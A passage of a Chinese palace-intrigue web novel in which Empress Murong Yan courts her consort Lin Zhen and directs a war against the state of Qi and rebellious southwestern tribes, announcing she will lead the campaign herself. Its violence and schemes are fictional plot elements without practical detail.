慕容嫣却不再看他们。她微微侧过身,?目光落在了身旁的林臻身上。他因肩伤未愈,久站之下,脸色似乎更显苍白了些。 她静静看了他片刻,?眼神中的冰冷与暴戾渐渐褪去,?染上一丝极淡的、难以察觉的复杂情绪。 她忽然伸出手,?用戴着指套的纤指,?轻轻碰了碰他垂在身侧的手背。 林臻身体微微一僵,垂眸看向她。 “累了?”她轻声问,声音比方才柔和了无数倍,带着一丝慵懒的沙哑。 林臻微微摇头。 慕容嫣却仿佛没看到,?拍了拍自己御座宽大的扶手?(御座极大,如同小榻):“过来。” 林臻一怔,眼中闪过一丝愕然。台下众臣更是瞬间屏住了呼吸!陛下这是…? “朕让你过来。”慕容嫣语气微沉,带着一丝不容置疑的命令。 林臻迟疑一瞬,终是依言上前,在她所指的、御座扶手旁的空位坐下。 那里本是为放置物品所设,并不宽敞,他坐下后,距离御座中心的她,极近。 慕容嫣似乎满意了。 她甚至微微调整了一下坐姿,?让那五丈长的华丽拖尾,?有一部分自然而然地搭在了林臻的腿边,?墨金色的苏锦与他玄色的衣袍交织在一起。 她端起自己那杯喝了一半的琉璃盏,?递到林臻唇边,声音慵懒:“尝尝。” 林臻看着她,眼神深邃,终是低头,就着她的手,饮了一口。 动作间,他的唇无意间擦过她戴着指套的指尖。 慕容嫣收回手,?自己就着杯沿他喝过的地方,?也轻轻抿了一口,?目光却一直落在他的脸上,?眼神幽深。 台下众臣早已看得目瞪口呆,心惊肉跳! 这…这简直是… 慕容嫣却仿佛浑然不觉自己引起了怎样的惊涛骇浪。她放下酒杯,?身体微微向林臻的方向倾斜,?宽大华丽的喇叭袖几乎要拂到他的脸上。 “还疼吗?”她低声问,?目光落在他肩甲遮掩下的伤处。 林臻微微摇头。 “撒谎。”慕容嫣轻轻吐出两个字,?忽然伸出手,?并非去碰他的肩伤,而是用指尖,?极轻地碰了碰他因饮酒而微微湿润的唇角。 她的动作很慢,带着一种审视与占有的意味。指尖的墨丝绒与他皮肤的温热形成奇特对比。 林臻呼吸一窒,身体彻底僵住,一动不敢动,只能任由她的指尖停留。 台下已是死一般的寂静!所有人都死死低着头,恨不得把自己藏进地缝里!这画面…太惊世骇俗!太令人恐惧! 也太…暧昧! 慕容嫣似乎很满意他的僵硬。 她收回手,?指尖无意识地相互摩挲了一下,?仿佛在回味那触感。 她忽然又凑近了些,?在他耳边,?用只有两人能听到的声音,?气息温热,?带着酒香与她身上独特的冷梅异香,?低声呢喃?:“今晚留下来给朕暖床。” 她的声音很轻,却带着不容置疑的命令与一种妖异的诱惑。 林臻的耳根瞬间染上一抹极淡的绯红,他猛地抬眼看向她,眼中充满了难以置信的震惊与一丝难以言喻的悸动。 慕容嫣却已退开,?脸上恢复了那副慵懒漠然的神情,?仿佛刚才那句惊人之语从未说出。 她甚至抬手,?轻轻为他理了理并未凌乱的衣襟,?动作自然,?却带着绝对的占有意味。 然后,她不再看他,?目光重新扫向台下那些恨不得把自己缩起来的臣子,声音恢复了清冷:“宴毕。散了吧。” “臣等告退!”众人如蒙大赦,连滚带爬、失魂落魄地逃离了这令人窒息的大殿。 转眼间,大殿空旷,只剩下帝后二人,以及远处垂首屏息的宫女太监。 慕容嫣这才缓缓站起身,?五丈拖尾自林臻腿边滑落。她并未立刻离开,而是站在他面前,?垂眸看着他。 “起来。”她命令道。 林臻依言站起身。 慕容嫣忽然伸出手,?一把抓住他玄色衣袍的前襟,?力道不大,?却带着不容抗拒的强势,?将他拉向自己。 然后,在空旷的大殿中,在辉煌的灯火下——她踮起脚尖,?仰起头,?温热的、带着酒香的唇,?精准地、重重地印在了他的唇上?! 不是一个浅尝辄止的吻。而是一个带着酒气、带着血腥胜利后的兴奋、带着绝对占有与宣告意味的、甚至有些蛮横的吻?! 她毫无技巧可言,?只是用力地厮磨、吮吸,?仿佛在品尝属于自己的战利品,?又像是在烙印所有权的印记?! 林臻脑中一片空白,只能感受到她唇瓣的柔软与冰凉,感受到她身上那华贵睡裙的金线刺绣硌在他胸前的细微触感,感受到那弥漫的、独属于她的冷梅异香将他彻底笼罩! 许久,慕容嫣才缓缓放开他,?舌尖无意识地舔过自己的唇角,眼神迷离中带着一丝满意的慵懒,?脸颊泛起罕见的、真实的红晕。 她看着他震惊失措的模样,?轻笑出声,声音沙哑而诱惑:“…味道不错。” 说完,她不再看他,?迤逦着那身华美无比的睡裙与五丈拖尾,?转身,?一步步走向殿后,?留给林臻一个绝对强势、却又妖娆无比的背影。 第904章 余孽不死 阳春三月,本该是草长莺飞、万物复苏的时节,然而大乾王朝的神经却再次紧绷。 皇城深处,原本庄严肃穆、充满帝国枢机气息的军机值房,此刻却弥漫着一股不同于往日的、冰冷而压抑的紧张气氛。 巨大的、描绘着大乾及周边诸国疆域的坤舆万国全图沙盘占据了大殿中央,山川河流、城池关隘,皆以微缩模型清晰呈现。 沙盘周围,数名身着戎装或深色官服的将领与重臣垂首肃立,面色凝重,额角隐见冷汗。 空气中弥漫着无声的恐惧与焦虑。 叛乱虽平,然隐患未除。 最新密报如一道道惊雷传来:靖北王慕容弘麾下最重要的一名谋士——精通格物、尤其擅长火器与机械制造的宇文述,竟在城破前夕,携大量核心图纸与一批精锐工匠,成功潜逃出境,投奔了大乾东北方向的强邻——齐国! 更令人不安的是,齐国竟暗中勾结大乾西南边境一直蠢蠢欲动的几个大型少数民族部落,许以重利,提供军械,煽动其同时寇边! 北有强齐得利器,如虎添翼;西南有蛮族受挑唆,烽烟将起! 大乾顷刻间陷入两面受敌的巨大战略危机之中! 值房内,林臻一身玄色暗绣蟠龙常服,立于沙盘主位之侧,面色沉静如水,但眉宇间凝聚的沉重与眼底深处的锐利,却如何也掩饰不住。 他正听着兵部尚书用略显颤抖的声音禀报紧急军情。 就在这时,值房那沉重的紫檀木门被无声地推开。 所有人下意识地抬头望去,瞬间,呼吸齐齐一窒! 只见慕容嫣身穿着那件华美绝伦、轻盈如梦、却在此刻这充满阳刚杀伐之气的军机重地里显得无比突兀、却又威仪天成、仿佛能镇压一切兵戈的黑金苏锦棉质百鸟朝凤睡裙——它有一个如其主人般尊贵而充满压迫感的名字:“神凤降世裙”?。 她缓步走入,?步伐从容,?仿佛踏入的不是帝国最高军事枢要之地,而是她的后花园。? 极致玄黑的苏锦底料在值房内略显昏暗的光线下,吸吮着光芒,呈现出一种深不见底的墨色,然而织入的金色棉绒与细若游丝的真金线却在阴影中流淌着幽暗的华彩,神秘、高贵,与周遭冰冷的兵戈之气剧烈碰撞,却又奇异地融合出一种更令人窒息的威压。?? “神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在此刻肃杀的环境下,更显灼热逼人,凤羽层叠,仿佛浴火而生,尊贵威严中透出碾碎一切阻碍的戾气! 凤眸上的黑钻冰冷洞彻,俯视着沙盘上的万里江山与惶惶臣工。?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏纹丝不动。 而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接拖曳在值房冰冷坚硬的金砖地面之上!?? 华贵到极致的拖尾其上镶嵌的宝石在昏暗光线下固执地折射着冷冽的光芒,如同一道流动的墨金色界限,将帝国的杀伐枢机与她的绝对权威紧密相连。 她容颜绝世,神情却冰冷如霜,目光平静地扫过沙盘与垂首的众人,眼神深处没有丝毫波澜,只有一种洞悉一切的、令人胆寒的锐利。 “参见陛下!”众臣慌忙跪伏行礼,声音因紧张而有些变调。 慕容嫣并未立刻叫他们起身,?而是迤逦行至沙盘主位之前,?那“神凤降世裙”的五丈拖尾在她身后铺陈开来,?几乎占据了沙盘一侧的通道。 她微微俯身,?戴着墨丝绒指套的纤指,?极轻地划过沙盘上标注的齐国疆域,声音清冷:“宇文述到哪了?” 兵部尚书跪在地上,头也不敢抬,颤声回禀:“回回陛下,据最后一道密报,逆贼宇文述已抵达齐国都城,受到齐王隆重接见其所携之之火炮改良图、新式舰船龙骨设计图、以及一批精通锻造与火药的工匠皆已被齐国接收” 慕容嫣指尖未停,?又滑向西南边境那几个躁动的部落模型?:“这些蛮子又得了多少盔甲刀箭?是谁给的?” “陛下明鉴!是是齐国使者暗中输送,经由山间秘道” “秘道?”慕容嫣轻轻重复了一句,?指尖在那片区域点了点,“有多少条?都在谁的控制之下?为何至今才报?” 她的声音并不高昂,却字字如冰锥,刺入兵部尚书的心脏。尚书汗如雨下,磕头不止:“臣臣失察!臣万死!” 慕容嫣直起身,?目光并未看他,?而是扫向沙盘上代表大乾边境军镇的几处标记?:“镇北军、西疆都护府现有多少可用之兵?粮草几何?军械库存可还充足?” 她问的问题极其精准,直指要害。几位相关的将领慌忙作答,声音都带着颤抖,数据虽大致报出,却明显能听出底气不足。 慕容嫣静静听着,?脸上没有任何表情,?只是用指尖有一下没一下地敲击着沙盘的边缘。 待众人禀报完毕,值房内陷入一片死寂,只剩下沉重的呼吸声。 慕容嫣忽然轻笑一声,笑声清脆,却让所有人头皮发麻:“所以你们的意思是齐国得了利器,即将势大难制;蛮族受了蛊惑,顷刻便要叩关;而我大乾兵疲粮匮,只能坐以待毙?” “臣等不敢!”众人骇然磕头。 “不敢?”慕容嫣缓缓踱步,??“神凤降世裙”的拖尾在她身后迤逦滑动,?发出细微却清晰的摩擦声,“朕看你们心里就是这么想的。” 她猛地回身?! 动作迅疾而优雅,带着不容置疑的威仪! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同愤怒的凤凰之翼,轰然展开,?唰啦一声扫过冰冷的地面!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在值房昏暗的光线下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在肃杀的军机之地骤然劈开的雷霆之光,尊贵、耀眼,且带着无情的审判意味! 裙摆落下,华光内敛。 但慕容嫣的杀意已如同实质:“齐国拿了点图纸,得了几个工匠就以为能翻天?” 她的声音冰冷,“那些东西是朕赏给他们玩的。” 她目光扫过跪地的将领?:“火器?朕的格物院早有更新之设计!舰船?朕的龙江船厂下一批战船已近完工!他们捡的不过是朕懒得要的垃圾!” 众人愕然抬头,眼中充满难以置信! 慕容嫣嘴角勾起一抹残忍的弧度?:“至于西南那些蛮子拿了几副破铜烂铁就忘了谁才是他们的主子?” 她宽大喇叭袖下的手猛地一握:“传朕旨意!” “一!即刻起,封锁所有通往齐国之商道!一粒盐、一寸铁也不许北上!违令者族诛!” “二!令格物院,将‘雷神炮’、‘覆海舰’之新图纸,即刻下发至各大军工坊,昼夜赶工!朕要在一个月内看到成品!” “三!令暗卫司,启动所有潜伏齐国之间者!目标只有一个:宇文述及其带走的所有工匠朕要他们死无全尸!齐国的兵工作坊能烧多少烧多少!” “四!令西南边境各军镇,开放边境集市,盐铁茶帛价格降至往年三成!同时”她目光骤冷,“将朕的旨意传给那些部落首领:即刻缚送齐国使者至京城,斩杀其境内所有齐商!否则朕便派兵帮他们‘清理门户’顺便,换一个听话的首领!” 她的命令一条接一条,冷酷、精准、且充满了极度自信的霸气!仿佛眼前的危机,在她眼中不过是一场可以随手碾碎的游戏! 众臣听得心惊肉跳,却又被其气势所慑,仿佛看到了希望之光。 “可是陛下,”户部尚书硬着头皮道,“开放集市,降价三成国库恐难以支撑” 慕容嫣目光冷冷地扫向他?:“国库没钱那就抄家!前些日子朕杀的那些逆臣他们的家产还不够填这个窟窿吗?” 尚书吓得一哆嗦,再不敢多言。 “还有问题吗?”慕容嫣目光扫过全场。 无人敢应答。 “那就去办。”她淡淡说道,?仿佛刚才只是吩咐了一件微不足道的小事。 “臣等遵旨!”众人如蒙大赦,连滚爬爬地起身,躬身退出值房,脚步匆忙却带着一丝劫后余生的振奋。 值房内,转眼间只剩下慕容嫣与林臻二人。 慕容嫣脸上的冰冷与杀意瞬间褪去,?染上一丝极淡的疲惫。她缓缓走到沙盘旁的一张铺着虎皮的宽大太师椅前,?并未坐下,而是微微倚靠在椅背上,?目光投向沙盘上广袤的疆域,?? silent了片刻。 林臻默默上前,立于她身侧。 慕容嫣忽然轻声开口,声音里带着一丝不易察觉的慵懒与依赖:“夫君朕饿了。” 林臻微微一怔,随即眼中闪过一丝柔和,他微微躬身,示意立刻传膳。 慕容嫣却摇了摇头,?她转过身,?面向林臻,??“神凤降世裙”的拖尾随之移动。她抬起手,?用指套尖端,?极轻地碰了碰他胸前蟠龙刺绣的龙睛?:“朕想吃你做的莲子羹。” 林臻目光一凝,眼中闪过一丝复杂的情绪,他点了点头。 “现在就要。”慕容嫣语气带着一丝任性的娇纵,?仿佛刚才那个运筹帷幄、杀伐决断的暴君只是幻影。 林臻再次点头,转身便欲亲自去小厨房。 “等等。”慕容嫣叫住他。 他回身。 慕容嫣走上前一步,?两人距离极近,?她仰头看着他,?目光落在他的唇上,?眼神幽深。她忽然伸出手,?并非拥抱,而是用双手,?轻轻捧住了他的脸,?拇指的墨丝绒指套,?极轻地摩挲过他的下颌线。 “快点回来。”她低声命令,?语气却带着一丝罕见的柔软,“朕一个人待着无趣。” 说完,她竟踮起脚尖,?飞快地在他唇角印下了一个一触即分的、带着冷梅香的吻。如同蜻蜓点水,却足以让林臻浑身僵住。 然后,她松开手,?后退一步,?脸上恢复了些许慵懒的漠然,?仿佛刚才那亲昵的举动从未发生。她迤逦着那身华美沉重的“神凤降世裙”?,?走向值房一侧的窗边,?望向窗外,?留给他一个绝美而孤高的背影。 林臻站在原地,抬手轻轻碰了碰自己仿佛还残留着她气息与微凉触感的唇角,眼神深邃如夜,最终化为一声几不可闻的叹息,转身快步离去。 值房内,慕容嫣静静立于窗前,?窗外春光正好,?却照不进她深邃的凤眸。她轻轻抚摸着“神凤降世裙”上那冰冷光滑的黑钻凤眸,?低声自语,?声音只有自己能听见?: “齐王蛮首宇文述,你们最好别让朕亲自出征。” “朕的‘神凤降世裙’可不喜沾染风尘。” 第905章 西南战事 阳春三月的暖风,并未能吹散笼罩在大乾王朝之上的战争阴云。 来自边境的紧急军情如同雪片般飞入皇城,每一封都带着血腥与焦灼的气息。 齐国在获得叛逃的宇文述及其携带的核心技术后,并未立刻大军压境,而是采取了更阴险、更具破坏性的策略。 他们利用改良后的火炮射程与精度优势,频繁派遣小股精锐骑兵越境袭扰,精准打击大乾边境军镇的粮仓、武库、乃至指挥枢纽! 同时,以其新式舰船雏形封锁沿海航道,劫掠商船,断绝大乾与海外藩国的贸易与联系,试图从经济与后勤上扼杀大乾! 西南边境,那几个受齐国蛊惑与武装的大型蛮族部落,则开始了疯狂的寇边。 他们不再是小打小闹的抢劫,而是组织起数万人的军队,依仗着齐国提供的精良盔甲与攻城器械,开始围攻大乾的边境重镇! 他们战术狡诈,避实击虚,焚毁村庄,屠杀边民,切断官道,使得西南一线烽火连天,疲于应付! 两面受敌,局势危殆! 然而,深宫之内,却并非一片慌乱。 在皇城地下深处,有一处极为隐秘的所在——凤喉殿。 此殿并非传统宫殿,而是一处巨大的、布满机关消息、悬挂着巨幅精密军事地图、陈列着无数沙盘与模型的地下战略枢密之所。此处,才是真正决定帝国战争走向的心脏。 此刻,凤喉殿内灯火通明,却气氛凝重。 巨大的九州疆域沙盘上,代表敌军的黑色小旗与红色蛮族标记,正从北境与西南两个方向,如同毒蛇般向大乾腹地蔓延。 林臻与数名核心将领、暗卫首领正围在沙盘前,面色严峻地低声商讨,每个人的眉头都紧锁着。 沉重的机括声响起,一道暗门滑开。 所有人瞬间噤声,垂首肃立。 只见慕容嫣身穿着那件华美绝伦、轻盈如梦、却在这充满冰冷金属与杀伐之气的战略秘殿中显得无比突兀、却又仿佛天命所归的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?缓步走了进来。 ?极致玄黑的苏锦底料在殿内无数长明灯与水晶镜的反射光线下,吸吮着光芒,呈现出一种深渊般的墨色,然而织入的金色棉绒与真金线却在冷光下流淌着幽暗而锐利的金芒,神秘、高贵,与周遭冰冷的军事器械形成了惊心动魄的对比。 ??“神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在此刻肃杀的环境下,更显灼热逼人,凤羽层叠,仿佛随时要破衣而出,焚尽世间一切敌酋! 凤眸上的黑钻冰冷洞彻,倒映着沙盘上的烽火狼烟。?宽大轻盈的喇叭袖垂落,袖口金线流苏纹丝不动。 而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接拖曳在凤喉殿冰冷光滑的玄铁地板之上!?? 华贵到极致的拖尾其上镶嵌的宝石在冷光下折射出冰冷璀璨的光芒,如同一道流动的墨金色界限,将帝国的杀伐核心与她的绝对权威紧密相连。 她容颜绝世,神情却冰冷如万载玄冰,目光精准地落在巨大的沙盘之上,仿佛能瞬间洞察一切虚妄。 “陛下。”林臻微微躬身,其余人跪伏在地。 慕容嫣并未叫他们起身,?而是迤逦行至沙盘主位之前,?那“神凤降世裙”的五丈拖尾在她身后铺陈开来,?碾过代表山川河流的模型。 她微微俯身,?戴着墨丝绒指套的纤指,?精准地点在了北境一处刚刚被标注为遇袭的军镇?:“这里损失如何?火炮型号确认了吗?” 她的声音清冷,不带一丝情绪,却直指核心。 负责北境军情的将领跪在地上,冷汗涔涔,连忙禀报:“回陛下,粮仓被毁三成,伤亡百余。据幸存士卒描述,齐军火炮射程比以往远了近两成,落地更准疑似宇文述带去的‘霹雳火’改进型” 慕容嫣指尖未停,?又滑向沿海几处被标记为遇袭的港口?:“海路断绝了几条?商船损失多少?赔付跟得上吗?” 她甚至用了一个极新的、源自格物院与户部新设机构的词汇。 负责海运及经济的官员颤声回答,数据详尽,却透着一股绝望。 慕容嫣静静听着,?脸上没有任何表情,?只是用指尖有一下没一下地敲击着沙盘上代表齐国都城的模型。 听完北境与海运的禀报,她目光转向西南,?手指点在一个被蛮族大军围困的重镇?:“这里守将是谁?城内粮草弩箭还能支撑几日?蛮子的攻城车是从哪个方向运进来的?” 西南将领一一禀报,情况岌岌可危。 所有人禀报完毕,殿内陷入死寂,绝望的气氛几乎凝固。 慕容嫣却忽然轻笑一声,笑声在冰冷的殿宇中回荡,令人毛骨悚然:“就这点本事?也配让朕的江山动荡?” 她缓缓直起身,?目光扫过跪地的众人,?眼神冰冷而锐利?:“齐国以为得了几张破图就能在朕面前耍威风?” 她宽大喇叭袖下的手猛地一握:“传朕旨意,不,不必传旨了。” 她目光转向暗卫首领?:“‘夜枭’都放出去了吗?” 暗卫首领浑身一颤,猛地抬头:“回陛下!按您三日前密令,所有潜伏齐国的‘夜枭’已全部激活!目标锁定宇文述及其带走的工匠,以及齐国三大兵工作坊!” “很好。”慕容嫣嘴角勾起一抹残忍的弧度,“告诉他们朕不想再听到任何关于齐国新火器的消息。怎么做他们清楚。” “是!”暗卫首领眼中闪过狂热与恐惧,领命而去。一场针对齐国技术核心的、极其黑暗的刺杀与破坏行动,就此无声无息地展开。 “至于海路”慕容嫣目光转向林臻,“朕记得格物院去年底完成了‘蛟凤’艇的最终测试?” 林臻目光一凝,点了点头。 “调三艘‘蛟凤’秘密出港。”慕容嫣语气平淡,“目标齐国运送火炮与物资的舰船。朕要让他们有来无回。记住要做得像海难。” “是。”林臻沉声应道。一种大乾秘密研发的、可水下潜行攻击的新型舰艇,即将首次投入实战。 “还有”慕容嫣指尖点向沙盘上齐国与蛮族领地之间一片模糊的山地区域,“这里‘茶马古道’的旧道应该还能用吧?” 一位老臣愕然抬头:“陛下那是前朝废弃的” “朕知道是废弃的。”慕容嫣打断他,?眼中闪过一丝冰冷的光芒,“找一批死士扮作商人,从这条旧道给朕送点‘礼物’到蛮族大营里去。” “礼物?”老臣不解。 “对。”慕容嫣轻笑,“礼物染了瘟疫的死老鼠或者掺了金石散的盐巴再或者几件从‘阵亡’齐军身上‘缴获’的、刻着蛮族图腾的刀剑具体用什么你们看着办。朕只要结果。” 她的声音轻柔,却让所有人不寒而栗!这是要挑起蛮族与齐国之间的猜忌与内乱!手段极其阴毒! “至于西南”慕容嫣目光再次落在那被围困的重镇上,“守将是王坚吧?告诉他朕再给他五天。五天内城在人在。五天后城若破了让他自裁谢罪。他的家小朕会‘好好’照顾。” 她顿了顿,?补充道?:“从羽林卫抽调一旅精锐,换上边军服饰,今夜就出发,不走官道,绕行黑风峡,直插蛮军后方粮草营地。烧了它。” 命令一条接一条,冷酷、精准、毒辣,且完全跳过了正常的朝廷议事流程,直接下达执行!每一招都打在敌人的七寸之上! 众臣听得心惊肉跳,却又为其中蕴含的狠辣与智慧感到恐惧与一丝振奋。 慕容嫣说完,?似乎有些倦了。她微微侧身,?目光扫过沙盘上敌我交织的标记,?忽然,她猛地回身?! 动作迅疾而优雅,带着不容置疑的威仪! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同蓄势待发的凤凰之翼,轰然展开,?唰啦一声扫过冰冷的玄铁地板!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在凤喉殿冷冽的光线下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在冰冷的战略核心中骤然升起的烈日,尊贵、耀眼,且带着碾碎一切敌人的决绝意味! 裙摆落下,华光内敛。 但慕容嫣的杀意已如同实质:“记住”她的声音冰冷,回荡在殿中,“朕不管你们用什么方法也不管死多少人” 她目光如刀,?扫过每一个人?:“一个月内朕要看到齐国的火炮变成哑巴!朕要看到蛮族的军队饿着肚子滚回山里!朕要看到宇文述的人头挂在齐国的城楼上!” “否则”她嘴角那抹残忍的弧度加深,“你们就和你们守的城管的事一起消失。” 说完,她不再看任何人,?迤逦着那身华美沉重的“神凤降世裙”?,?转身,?一步步走向暗门,?拖尾在身后划出一道惊心动魄的痕迹。 暗门缓缓闭合,将她那绝美而冷酷的身影隔绝在外。 凤喉殿内,死寂一片。良久,林臻才缓缓直起身,目光扫过面色苍白的众人,声音沉静:“都听到了?执行吧。” 众人如梦初醒,慌忙领命而去,脚步匆忙却带着一种被极度恐惧催生出的效率。 林臻独自站在沙盘前,目光深邃地凝视着慕容嫣方才所指过的几个关键点,指尖无意识地划过她拖尾刚刚拂过的地方,仿佛还能感受到那苏锦的微凉与金线的硬度。 他知道,她并非只会发号施令。 她早已透过重重迷雾,看到了破局的关键,并以一种最残酷、最直接、也最有效的方式,将利刃精准地刺向了敌人的心脏。 这场战争,从她踏入凤喉殿的那一刻起,已经转向。 第906章 御驾亲征 暮春的风,带着一丝燥热,卷着皇城西北角校场上扬起的尘土气息,吹入了深宫。 然而,这风却吹不散弥漫在帝国心脏的凝重与肃杀。西南前线传来的不再是零星的警讯,而是雪片般的告急文书! 蛮族联军在齐国的持续煽动与物资支援下,攻势愈发凶猛! 他们不再满足于劫掠边镇,竟开始集结主力,兵分三路,直扑西南重镇——扼守通往中原咽喉的“镇南关”! 关外三座卫城已相继陷落,守军血战至最后一卒,烽火台的黑烟日夜不息! 蛮兵所过之处,村庄化为焦土,百姓惨遭屠戮,局势已到了岌岌可危的地步! 朝堂之上,主和与主战之声争论不休,但更多的,是弥漫在群臣之中的恐惧与无力感。 蛮族悍勇,地形复杂,加之齐国在背后作祟,一旦镇南关有失,西南半壁江山恐将沦丧! 然而,深宫地下,那处名为“龙喉”的战略秘殿内,气氛却截然不同。 巨大的沙盘上,代表蛮族兵锋的猩红小旗,如同一只狰狞的巨爪,已然抵近镇南关模型之下,触目惊心。 林臻与核心将领、重臣们围聚沙盘四周,面色前所未有的凝重,争论声低沉而激烈。 “陛下,蛮兵势大,且得齐国利器之助,据险而守方为上策!贸然出击,恐” “镇南关若失,后果不堪设想!必须立刻增兵!可从北境抽调” “北境齐军虎视眈眈,岂能轻动?!” “那难道坐视西南糜烂?!” “或许可遣使与蛮族议和?暂缓兵锋” 争论声中,林臻始终沉默,他深邃的目光死死盯着沙盘上镇南关的位置,指尖无意识地敲击着沙盘边缘,脸色因连日的焦虑与肩伤未愈而显得有些苍白。 就在这时,那沉重的机括声再次响起,暗门滑开。 所有的争论声瞬间戛然而止。众人垂首肃立,屏息凝神。 慕容嫣身穿着那件华美绝伦、轻盈如梦、却在此刻这烽火压城的危局中更显威仪天成、仿佛能定鼎乾坤的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?缓步走了进来。 ?极致玄黑的苏锦底料在龙喉殿冰冷的灯光下,吸吮着光线,呈现出一种吞噬一切的沉静墨色,然而织入的金色棉绒与细若游丝的真金线却在冷光下流淌着锐利而冰冷的暗金波光,神秘、高贵,与殿内弥漫的焦灼与杀伐之气剧烈碰撞,却又奇异地带来一种令人心悸的、压倒性的威压。?? “神凤降世裙”之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在此刻危局映衬下,更显灼热逼人,凤羽层叠,仿佛浴火振翅,尊贵威严中透出碾碎一切阻碍的决绝戾气! 凤眸上的黑钻冰冷洞彻,倒映着沙盘上岌岌可危的镇南关。 ?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏纹丝不动。而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接拖曳在冰冷光滑的玄铁地板之上!?? 华贵到极致的拖尾其上镶嵌的宝石在冷光下折射出冰冷璀璨的光芒,如同一道流动的墨金色界限,将帝国的危局与她的绝对权威紧密相连。 她容颜绝世,神情却冰冷如霜,目光精准地落在沙盘上那触目惊心的猩红标记上,眼神深处没有丝毫慌乱,只有一种洞悉一切的、令人胆寒的平静。 “陛下。”林臻微微躬身,其余人跪伏在地。 慕容嫣并未叫他们起身,?而是迤逦行至沙盘主位之前,?那“神凤降世裙”的五丈拖尾在她身后铺陈开来,?碾过代表西南山川的模型。 她微微俯身,?戴着墨丝绒指套的纤指,?精准地点在了镇南关的模型之上?:“这里还能守多久?” 她的声音清冷,不带一丝情绪,却让所有人心脏一紧。 负责西南军情的将领跪在地上,声音干涩:“回回陛下王坚将军血书至多五日若援军不至关破人亡” “五日”慕容嫣轻轻重复了一句,?指尖在关隘上缓缓划过,“北境抽调的援军最快多久能到?” 兵部尚书冷汗淋漓:“陛下北境路途遥远,且需防齐军异动最快至少二十日” “二十日?”慕容嫣轻笑一声,笑声冰冷,“镇南关的骨头都够蛮子敲鼓了。” 众人噤若寒蝉。 “议和?”慕容嫣目光扫过刚才提议议和的大臣,?嘴角勾起一抹极淡的嘲讽,“拿什么和?拿朕的江山去和?还是拿你们的脑袋去和?” 那大臣吓得魂飞魄散,磕头不止。 慕容嫣不再看他,?目光重新聚焦于沙盘?:“从京畿抽调精锐,星夜驰援,需要几日?” “陛下!京畿乃根本,禁军不可轻动啊!”一位老将军急忙劝阻。 “朕问你需要几日!”慕容嫣声音陡然一沉,?带着不容置疑的威压。 “若若不惜马力,轻装简从最快十日可至”另一位将领颤声回答。 “十日”慕容嫣指尖轻轻敲击着镇南关,“王坚撑得到十日吗?” 无人敢答。 死寂笼罩着龙喉殿,绝望的气氛几乎凝固。 慕容嫣缓缓直起身,?目光扫过跪地的众人,?最后落在了身旁一直沉默的林臻身上。她静静看了他片刻,?眼神深邃难辨。 忽然,她开口,声音清晰而平静,却如同惊雷炸响在每个人耳边: “不必议和,也不必等援军了。” 所有人愕然抬头! 慕容嫣目光如电,?扫过全场?:“朕亲自去。” “陛下?!” “万万不可!” “陛下三思!西南瘴疠之地,蛮兵凶悍,陛下万金之躯岂可轻涉险地?!” 惊呼声、劝阻声瞬间响起!连林臻都猛地抬头看向她,眼中充满了震惊与一丝难以掩饰的担忧! 慕容嫣却仿佛没有听到任何劝阻。她缓缓踱步,??“神凤降世裙”的拖尾在她身后迤逦滑动,?发出细微却清晰的摩擦声。 “蛮子不是想要朕的江山吗?”她轻笑,声音里带着一丝疯狂的玩味,“朕就去让他们亲眼看看朕的江山是什么样子。” 她猛地回身?! 动作迅疾而优雅,带着不容置疑的决绝! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同燃烧的凤凰之翼,轰然展开,?唰啦一声扫过冰冷的玄铁地板!?? 随着裙摆的骤然飘起——赫然露出了里面同样以玄黑苏锦为底、却用更璀璨、更耀眼的赤金线,以“满地织金”的极致工艺,满绣着百凤朝阳、缠枝莲纹与万福万寿纹路的华丽内衬!?? 那内衬上的金凤与花纹在龙喉殿冷冽的光线下骤然闪现,金光璀璨夺目,华美辉煌到了极致,仿佛在绝望的危局中骤然劈开的雷霆之光,尊贵、耀眼,且带着碾碎一切敌人的决绝意味! 裙摆落下,华光内敛。 但慕容嫣的决心已如同磐石:“朕意已决。” 她目光冰冷地扫过那些还想劝阻的臣子?:“谁再敢多言一句便先去镇南关替王坚守城。” 所有劝阻声瞬间消失,只剩下恐惧的喘息。 慕容嫣目光转向林臻,?语气不容置疑?:“你去点兵。羽林卫凤翎营全体,格物院火器新营,再从京营抽调三万精锐。三日内集结完毕。” 林臻看着她,嘴唇动了动,似乎想说什么,但最终只是深深一躬,领命:“是。” “陛下!”户部尚书硬着头皮道,“如此大军出动,粮草辎重” “粮草?”慕容嫣打断他,?嘴角勾起一抹残忍的弧度,“朕需要带粮草吗?” 她指尖点向沙盘上蛮族联军后方?:“蛮子不是抢了朕那么多粮食吗?朕去拿回来。” 她又点向几个蛮族主要部落的聚集地?:“他们的牛羊他们的部落不就是朕的移动粮仓吗?” 众人听得心惊肉跳! 这是要以战养战! 行险中之险! “至于朕,”慕容嫣微微抬起下巴,?宽大喇叭袖轻轻一拂,“三日后,辰时,校场点将。朕要亲自为大军壮行。” 她顿了顿,?目光再次落在林臻苍白的脸上,?声音忽然低沉了几分?:“你跟朕一起。” 这不是商议,而是命令。 